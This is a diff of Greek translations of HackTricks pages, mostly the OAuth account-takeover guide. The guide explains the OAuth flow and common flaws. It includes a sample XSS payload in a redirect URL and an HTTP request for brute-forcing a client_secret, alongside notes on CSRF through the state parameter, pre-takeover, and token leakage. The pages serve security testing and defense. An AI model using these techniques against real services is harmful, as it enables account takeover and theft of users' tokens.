Το AWS το διόρθωσε επιτρέποντας να καθορίζετε αν μια βιβλιοθήκη είναι εσωτερική ή εξωτερική, για να αποφεύγετε τη λήψη εσωτερικών εξαρτήσεων από εξωτερικά αποθετήρια.
## Εύρεση Ευπάθειών Βιβλιοθηκών
Στην [**αρχική ανάρτηση για την εξάρτηση σύγχυσης**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) ο συγγραφέας αναζήτησε χιλιάδες αποκαλυμμένα αρχεία package.json που περιέχουν τις εξαρτήσεις των έργων σε JavaScript.
## Αναφορές
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στη [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,39 +1,52 @@
# OAuth για Account Takeover
# OAuth για Εκμετάλλευση Λογαριασμού
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Βασικές Πληροφορίες <a href="#d4a8" id="d4a8"></a>
Το OAuth προσφέρει διάφορες εκδόσεις, με βασικές πληροφορίες προσβάσιμες στην [τεκμηρίωση του OAuth 2.0](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στο ευρέως χρησιμοποιούμενο [τύπο απόδοσης κωδικού εξουσιοδότησης OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε μια άλλη εφαρμογή** (ο εξουσιοδοτητής).
Το OAuth προσφέρει διάφορες εκδόσεις, με βασικές πληροφορίες προσβάσιμες στην [τεκμηρίωση του OAuth 2.0](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στο δημοφιλές [τύπο απόκτησης κωδικού εξουσιοδότησης OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στο λογαριασμό ενός χρήστη σε μια άλλη εφαρμογή** (ο διακομιστής εξουσιοδότησης).
Ας υποθέσουμε ένα υποθετικό ιστότοπο _**https://example.com**_, σχεδιασμένο για να **προβάλλει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. Ο _https://example.com_ θα ζητήσει την άδειά σας για να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Συνεπώς, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, που περιγράφει τις **άδειες που ζητούνται και τον προγραμματιστή που κάνει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
Να ληφθεί υπόψη μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη για να **παρουσιάζει όλες τις αναρτήσεις σας στα μέσα κοινωνικής δικτύωσης**, συμπεριλαμβανομένων των ιδιωτικών. Για να επιτευχθεί αυτό, χρησιμοποιείται το OAuth 2.0. Η _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα μέσα κοινωνικής δικτύωσης**. Ως εκ τούτου, θα εμφανιστεί μια οθόνη συγκατάθεσης στην _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που κάνει το αίτημα**. Με την έγκρισή σας, η _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
Είναι σημαντικό να κατανοήσετε τα εξής στοιχεία εντός του πλαισίου OAuth 2.0:
Είναι σημαντικό να κατανοήσετε τα ακόλουθα στοιχεία εντός του πλαισίου OAuth 2.0:
- **κάτοχος πόρων**: Εσείς, ως **χρήστης/οντότητα**, εξουσιοδοτείτε την πρόσβαση στον πόρο σας, όπως οι αναρτήσεις του λογαριασμού σας στα κοινωνικά δίκτυα.
- **διακομιστής πόρων**: Ο **διακομιστής που διαχειρίζεται τα αυθεντικοποιημένα αιτήματα** μετά την ασφαλή λήψη ενός `access token` εκ μέρους του `κατόχου πόρων`, π.χ. **https://socialmedia.com**.
- **εφαρμογή πελάτης**: Η **εφαρμογή που ζητάει εξουσιοδότηση** από τον `κάτοχο πόρων`, όπως το **https://example.com**.
- **διακομιστής εξουσιοδότησης**: Ο **διακομιστής που εκδίδει τα `access tokens`** στην `εφαρμογή πελάτη` μετά την επιτυχή αυθεντικοποίηση του `κατόχου πόρων` και την ασφαλή εξουσιοδότηση, π.χ. **https://socialmedia.com**.
- **κάτοχος πόρων**: Εσείς, ως **χρήστης/οντότητα**, εξουσιάζετε την πρόσβαση στον πόρο σας, όπως οι αναρτήσεις του λογαριασμού σας στα μέσα κοινωνικής δικτύωσης.
- **διακομιστής πόρων**: Ο **διακομιστής που διαχειρίζεται αυθεντικές αιτήσεις** μετά την εξασφάλιση ενός `access token` εκ μέρους του `κατόχου πόρων`, π.χ., **https://socialmedia.com**.
- **εφαρμογή πελάτης**: Η **εφαρμογή που ζητά εξουσιοδότηση** από τον `κάτοχο πόρων`, όπως το **https://example.com**.
- **διακομιστής εξουσιοδότησης**: Ο **διακομιστής που εκδίδει `access tokens`** στην `εφαρμογή πελάτη` μετά την επιτυχή πιστοποίηση του `κατόχου πόρων` και την εξασφάλιση εξουσιοδότησης, π.χ., **https://socialmedia.com**.
- **client\_id**: Ένα δημόσιο, μοναδικό αναγνωριστικό για την εφαρμογή.
- **client\_secret:** Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και στον διακομιστή εξουσιοδότησης, που χρησιμοποιείται για τη δημιουργία `access_tokens`.
- **response\_type**: Μια τιμή που καθορίζει **τον τύπο του ζητούμενου token**, όπως `code`.
- **scope**: Το **επίπεδο πρόσβασης** που ζητά η `εφαρμογή πελάτης` από τον `κάτοχο πόρων`.
- **redirect\_uri**: Η **URL στην οποία ανακατευθύνεται ο χρήστης μετά την εξουσιοδότηση**. Αυτή πρέπει συνήθως να συμφωνεί με την προ-καταχωρημένη URL ανακατεύθυνσης.
- **state**: Ένα παράμετρος για να **διατηρεί δεδομένα κατά την ανακατεύθυνση του χρήστη προς και από τον διακομιστή εξουσιοδότησης**. Η μοναδικότητά του είναι κρίσιμη για να λειτουργεί ως **μηχανισμός προστασίας CSRF**.
- **grant\_type**: Μια παράμετρος που υποδηλώνει **τον τύπο απόδοσης και τον τύπο του token που θα επιστραφεί**.
- **code**: Ο κωδικός εξουσιοδότησης από τον `διακομιστή εξουσιοδότησης`, που χρησιμοποιείται σε συνδυασμό με το `client_id` και το `
- **client\_secret:** Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και στον διακομιστή εξουσιοδότησης, που χρησιμοποιείται για τη δημιουργία `access tokens`.
- **response\_type**: Ένας τύπος τιμής που καθορίζει **τον τύπο του ζητούμενου τοκέν**, όπως `code`.
- **scope**: Το **επίπεδο πρόσβασης** που ζητά η `εφαρμογή πελάτη` από τον `κάτοχο πόρων`.
- **redirect\_uri**: Η **διεύθυνση URL στην οποία ανακατευθύνεται ο χρήστης μετά την εξουσιοδότηση**. Αυτή πρέπει συνήθως να συμφωνεί με την προ-καταχωρημένη διεύθυνση ανακατεύθυνσης.
- **state**: Ένα παράμετρο για τη **διατήρηση δεδομένων κατά την ανακατεύθυνση του χρήστη προς και από τον διακομιστή εξουσιοδότησης**. Η μοναδικότητά του είναι κρίσιμη για τη λειτουργία ως **μηχανισμός προστασίας CSRF**.
- **grant\_type**: Μια παράμετρος που υποδηλώνει **τον τύπο άδειας και τον τύπο του τοκέν που θα επιστραφεί**.
- **code**: Ο κωδικός εξουσιοδότησης από τον `διακομιστή εξουσιοδότησης`, χρησιμοποιείται σε συνδυασμό με το `client_id` και το `client_secret` από την εφαρμογή πελάτη για την απόκτηση ενός `access_token`.
- **access\_token**: Το **τοκέν που χρησιμοποιεί η εφαρμογή πελάτη για αιτήσεις API** εκ μέρους του `κάτοχου πόρων`.
- **refresh\_token**: Επιτρέπει στην εφαρμογή να **λάβει ένα νέο `access_token` χωρίς να ζητήσει ξανά την έγκριση του χρήστη**.
### Ροή
Η **πραγματική ροή OAuth** προχωρά ως εξής:
1. Μεταβαίνετε στο [https://example.com](https://example.com) και επιλέγετε το κουμπί "Ενσωμάτωση με τα Κοινωνικά Δίκτυα".
2. Στη συνέχεια, η ιστοσελίδα στέλνει ένα αίτημα στη διεύθυνση [https://socialmedia.com](https://socialmedia.com) ζητώντας την άδειά σας να επιτρέψετε στην εφαρμογή του https://example.com να έχει πρόσβαση στις αναρτήσεις σας. Το αίτημα δομείται ως:
```
https://socialmedia.com/auth
?response_type=code
@ -42,64 +55,64 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. Στη συνέχεια, σας παρουσιάζεται μια σελίδα συναίνεσης.
3. Στη συνέχεια, σας παρουσιάζεται μια σελίδα συγκατάθεσης.
4. Ακολουθώντας την έγκρισή σας, τα Κοινωνικά Δίκτυα στέλνουν μια απάντηση στο `redirect_uri` με τις παραμέτρους `code` και `state`:
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. Το https://example.com χρησιμοποιεί αυτόν τον `code`, μαζί με το `client_id` και το `client_secret` του, για να κάνει ένα αίτημα στον διακομιστή για να λάβει ένα `access_token` εκ μέρους σας, επιτρέποντας την πρόσβαση στις άδειες που συμφωνήσατε:
5. Το https://example.com χρησιμοποιεί αυτόν τον `code`, μαζί με το `client_id` και το `client_secret` του, για να κάνει μια αίτηση στον εξυπηρετητή για να λάβει ένα `access_token` εκ μέρους σας, επιτρέποντας πρόσβαση στις άδειες που συμφωνήσατε:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. Τέλος, η διαδικασία ολοκληρώνεται όταν το https://example.com χρησιμοποιεί το `access_token` σας για να κάνει ένα αίτημα API στα Κοινωνικά Μέσα για πρόσβαση.
6. Τέλος, η διαδικασία ολοκληρώνεται όταν το https://example.com χρησιμοποιεί το `access_token` σας για να κάνει ένα κλήση API στα Κοινωνικά Δίκτυα για πρόσβαση
## Ευπάθειες <a href="#323a" id="323a"></a>
### Ανοικτή redirect\_uri <a href="#cc36" id="cc36"></a>
### Ανοιχτή redirect\_uri <a href="#cc36" id="cc36"></a>
Η `redirect_uri` είναι κρίσιμη για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται ευαίσθητα δεδομένα, όπως κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Εάν δεν έχει ρυθμιστεί σωστά, μπορεί να επιτρέψει σε επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, επιτρέποντας την ανάληψη του λογαριασμού.
Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθοδηγεί πού αποστέλλονται ευαίσθητα δεδομένα, όπως κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Εάν διαμορφωθεί εσφαλμένα, μπορεί να επιτρέψει σε επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, ενεργοποιώντας την ανάληψη λογαριασμού.
Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση μονοπατιού έως την αποδοχή οποιουδήποτε URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Οι συνηθισμένες μεθόδοι εκμετάλλευσης περιλαμβάνουν ανοικτές ανακατευθύνσεις, διάβασμα μονοπατιού, εκμετάλλευση αδύναμων regexes και ενσωμάτωση HTML για κλοπή διακριτικού.
Οι τεχνικές εκμετάλλευσης ποικίλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών μέχρι την αποδοχή οποιουδήποτε URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Οι κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτές ανακατευθύνσεις, διάβαση διαδρομών, εκμετάλλευση αδύναμων regexes και ενσωμάτωση HTML για κλοπή διακριτικού.
Εκτός από την `redirect_uri`, άλλοι παράμετροι OAuth και OpenID όπως οι `client_uri`, `policy_uri`, `tos_uri` και `initiate_login_uri` είναι επίσης ευάλωτοι σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει ανάμεσα στους διακομιστές.
Εκτός από το `redirect_uri`, άλλοι παράμετροι OAuth και OpenID όπως το `client_uri`, το `policy_uri`, το `tos_uri` και το `initiate_login_uri` είναι επίσης ευάλωτοι σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει ανάμεσα στους διακομιστές.
Για όσους στοχεύουν έναν διακομιστή OpenID, το σημείο ανακάλυψης (`**.well-known/openid-configuration**`) συχνά περιλαμβάνει σημαντικές πληροφορίες ρύθμισης όπως οι `registration_endpoint`, `request_uri_parameter_supported` και `require_request_uri_registration`. Αυτές οι λεπτομέρειες μπορούν να βοηθήσουν στον εντοπισμό του σημείου εγγραφής και άλλων συγκεκριμένων ρυθμίσεων του διακομιστή.
Για όσους στοχεύουν σε έναν διακομιστή OpenID, το σημείο ανακάλυψης (`**.well-known/openid-configuration**`) συχνά περιλαμβάνει σημαντικές λεπτομέρειες ρύθμισης όπως το `registration_endpoint`, το `request_uri_parameter_supported` και το "`require_request_uri_registration`. Αυτές οι λεπτομέρειες μπορούν να βοηθήσουν στην αναγνώριση του σημείου εγγραφής και άλλων συγκεκριμένων ρυθμίσεων του διακομιστή.
### XSS στην υλοποίηση ανακατεύθυνσης <a href="#bda5" id="bda5"></a>
Όπως αναφέρεται σε αυτήν την αναφορά ανακάλυψης ευπαθειών [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), είναι πιθανόν να είναι δυνατή η αντανάκλαση του **URL ανακατεύθυνσης στην απόκριση** του διακομιστή μετά την εξουσιοδότηση του χρήστη, είναι **ευάλωτος σε XSS**. Δυνητικό φορτίο για δοκιμή:
Όπως αναφέρεται σε αυτήν την αναφορά αμοιβής ευρήματος σφαλμάτων [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) είναι πιθανό ότι το **URL ανακατεύθυνσης αντανακλάται στην απόκριση** του διακομιστή μετά την αυθεντικοποίηση του χρήστη, είναι **ευάλωτο σε XSS**. Πιθανό φορτίο για δοκιμή:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - Εσφαλμένη χειρισμός της παραμέτρου κατάστασης <a href="#bda5" id="bda5"></a>
### CSRF - Ανακατεύθυνση του παραμέτρου κατάστασης <a href="#bda5" id="bda5"></a>
Στις υλοποιήσεις OAuth, η κακή χρήση ή παράλειψη της παραμέτρου **`state`** μπορεί να αυξήσει σημαντικά τον κίνδυνο επιθέσεων **Cross-Site Request Forgery (CSRF)**. Αυτή η ευπάθεια προκύπτει όταν η παράμετρος `state` είτε δεν χρησιμοποιείται, χρησιμοποιείται ως στατική τιμή ή δεν επικυρώνεται σωστά, επιτρέποντας στους επιτιθέμενους να παρακάμψουν τις προστασίες CSRF.
Στις υλοποιήσεις OAuth, η κακή χρήση ή παράλειψη της **παραμέτρου `state`** μπορεί να αυξήσει σημαντικά τον κίνδυνο επιθέσεων **Cross-Site Request Forgery (CSRF)**. Αυτή η ευπάθεια προκύπτει όταν η παράμετρος `state` είτε **δεν χρησιμοποιείται, χρησιμοποιείται ως στατική τιμή, ή δεν επικυρώνεται σωστά**, επιτρέποντας στους επιτιθέμενους να παρακάμψουν τις προστασίες CSRF.
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό παρεμβαίνοντας στη διαδικασία εξουσιοδότησης για να συνδέσουν τον λογαριασμό τους με τον λογαριασμό ενός θύματος, οδηγώντας σε πιθανές κατακτήσεις λογαριασμού. Αυτό είναι ιδιαίτερα κρίσιμο σε εφαρμογές όπου το OAuth χρησιμοποιείται για σκοπούς **ελέγχου ταυτότητας**.
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό ανακατευθύνοντας τη διαδικασία εξουσιοδότησης για να συνδέσουν το λογαριασμό τους με τον λογαριασμό ενός θύματος, οδηγώντας σε πιθανές **καταλήψεις λογαριασμού**. Αυτό είναι ιδιαίτερα κρίσιμο σε εφαρμογές όπου το OAuth χρησιμοποιείται για σκοπούς **ελέγχου ταυτότητας**.
Πραγματικά παραδείγματα αυτής της ευπάθειας έχουν καταγραφεί σε διάφορες προκλήσεις **CTF** και **πλατφόρμες χάκερ**, αναδεικνύοντας τις πρακτικές της συνέπειες. Το πρόβλημα επεκτείνεται επίσης σε ενσωματώσεις με υπηρεσίες τρίτων όπως **Slack**, **Stripe** και **PayPal**, όπου οι επιτιθέμενοι μπορούν να ανακατευθύνουν ειδοποιήσεις ή πληρωμές στους λογαριασμούς τους.
Παραδείγματα αυτής της ευπάθειας έχουν καταγραφεί σε διάφορες προκλήσεις **CTF** και **πλατφόρμες χακτιβισμού**, αναδεικνύοντας τις πρακτικές της επιπτώσεις. Το πρόβλημα επεκτείνεται επίσης σε ενσωματώσεις με υπηρεσίες τρίτων όπως **Slack**, **Stripe** και **PayPal**, όπου οι επιτιθέμενοι μπορούν να ανακατευθύνουν ειδοποιήσεις ή πληρωμές στους λογαριασμούς τους.
Ο σωστός χειρισμός και η επικύρωση της παραμέτρου **`state`** είναι ζωτικής σημασίας για την προστασία από CSRF και την ασφάλεια της ροής του OAuth.
Η σωστή χειρισμός και επικύρωση της **παραμέτρου `state`** είναι ζωτικής σημασίας για την προστασία ενάντια στο CSRF και την ασφάλεια της ροής του OAuth.
### Προ-κατάκτηση λογαριασμού <a href="#ebe4" id="ebe4"></a>
### Πριν από την Κατάληψη Λογαριασμού <a href="#ebe4" id="ebe4"></a>
1. **Χωρίς επαλήθευση email κατά τη δημιουργία λογαριασμού**: Οι επιτιθέμενοι μπορούν να δημιουργήσουν προληπτικά έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια υπηρεσία τρίτου για την είσοδο, η εφαρμογή μπορεί να συνδέσει ακούσια αυτόν τον λογαριασμό τρίτου με τον προ-δημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
1. **Χωρίς Επαλήθευση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν ένα λογαριασμό χρησιμοποιώντας το email του θύματος. Αν το θύμα χρησιμοποιήσει αργότερα μια υπηρεσία τρίτου για σύνδεση, η εφαρμογή ενδέχεται να συνδέσει ακούσια αυτόν τον λογαριασμό τρίτου με τον προ-δημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
2. **Εκμετάλλευση ανεπαρκούς επαλήθευσης email στο OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επαληθεύουν τα email καταχωρίζοντας τον εαυτό τους στην υπηρεσία και στη συνέχεια αλλάζοντας το email του λογαριασμού σε αυτό του θύματος. Αυτή η μέθοδος αντιμετωπίζει παρόμοιο κίνδυνο μη εξουσιοδοτημένης πρόσβασης στον λογαριασμό, παρόμοιο με το πρώτο σενάριο, αλλά μέσω διαφορετικού διανύσματος επίθεσης.
2. **Εκμετάλλευση Χαλαρής Επαλήθευσης Email στο OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επαληθεύουν emails εγγραφής με την υπηρεσία τους και στη συνέχεια να αλλάξουν το email του λογαριασμού σε αυτό του θύματος. Αυτή η μέθοδος απειλεί επίσης την μη εξουσιοδοτημένη πρόσβαση στο λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού διανύσματος επίθεσης.
### Αποκάλυψη Μυστικών <a href="#e177" id="e177"></a>
Η εντοπισμός και η προστασία των μυστικών παραμέτρων OAuth είναι ζωτικής σημασίας. Ενώ το **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη του **`client_secret`** συνεπάγεται σημαντικούς κινδύνους. Εάν το `client_secret` διαρρεύσει, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να κλέψουν τα `access_tokens` των χρηστών και προσωπικές πληροφορίες.
Η εντοπισμός και προστασία των μυστικών παραμέτρων OAuth είναι ζωτικής σημασίας. Ενώ το **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη του **`client_secret`** συνιστά σημαντικούς κινδύνους. Αν το `client_secret` διαρρεύσει, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens`** των χρηστών και προσωπικές πληροφορίες.
Μια συνηθισμένη ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται λανθασμένα την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί για την πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην αποκάλυψη του `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την εμφάνιση της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι μπορούν να αναβαθμίσουν τα δικαιώματα προσθέτοντας επιπλέον εύρος στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
Μια συνηθισμένη ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται λανθασμένα την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί για την πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην αποκάλυψη του `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την εμφάνιση της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να αναβαθμίσουν τα δικαιώματά τους προσθέτοντας επιπλέον εύρος στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
### Επίθεση με βίαιη δοκιμή του κρυφού κλειδιού του πελάτη
### Βίαιη Δοκιμή Κλειδιού Πελάτη
Μπορείτε να προσπαθήσετε να **δοκιμάσετε βίαια το κρυφό κλειδί του πελάτη** ενός πάροχου υπηρεσιών με τον πάροχο ταυτότητας για να προσπαθήσετε να κλέψετε λογαριασμούς.\
Το αίτημα για τη βίαιη δοκιμή μπορεί να μοιάζει με:
Μπορείτε να **δοκιμάσετε βίαια το κλειδί πελάτη** ενός παροχέα υπηρεσιών με τον πάροχο ταυτότητας προκειμένου να προσπαθήσετε να κλέψετε λογαριασμούς.\
Το αίτημα για BF μπορεί να μοιάζει με:
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -109,29 +122,29 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Αποκάλυψη Κώδικα + Κατάσταση μέσω του Κεφαλίδας Αναφοράς (Referer Header)
### Διαρροή Κώδικα + Κατάσταση μέσω του Κεφαλίδας Αναφορέα (Referer Header)
Αφού ο πελάτης έχει τον **κώδικα και την κατάσταση (state)**, αν αυτά αντανακλώνται μέσα στον Κεφαλίδα Αναφοράς (Referer header) όταν περιηγείται σε μια διαφορετική σελίδα, τότε υπάρχει ευπάθεια.
Αφού ο πελάτης έχει τον **κώδικα και την κατάσταση**, αν αυτά **αντανακλώνται μέσα στον Κεφαλίδα Αναφορέα (Referer header)** όταν περιηγείται σε διαφορετική σελίδα, τότε είναι ευάλωτο.
### Αποθήκευση Κλειδιού Πρόσβασης στο Ιστορικό του Προγράμματος Περιήγησης
### Πρόσβαση Κλειδιού Πρόσβασης Αποθηκευμένου στο Ιστορικό του Προγράμματος Περιήγησης
Πηγαίνετε στο **ιστορικό του προγράμματος περιήγησης και ελέγξτε αν το κλειδί πρόσβασης είναι αποθηκευμένο εκεί**.
### Αιώνιος Κωδικός Εξουσιοδότησης
### Κωδικός Εξουσιοδότησης που Διαρκεί για Πάντα
Ο **κωδικός εξουσιοδότησης πρέπει να ισχύει μόνο για κάποιο χρονικό διάστημα για να περιοριστεί το παράθυρο χρόνου όπου ένας επιτιθέμενος μπορεί να τον κλέψει και να τον χρησιμοποιήσει**.
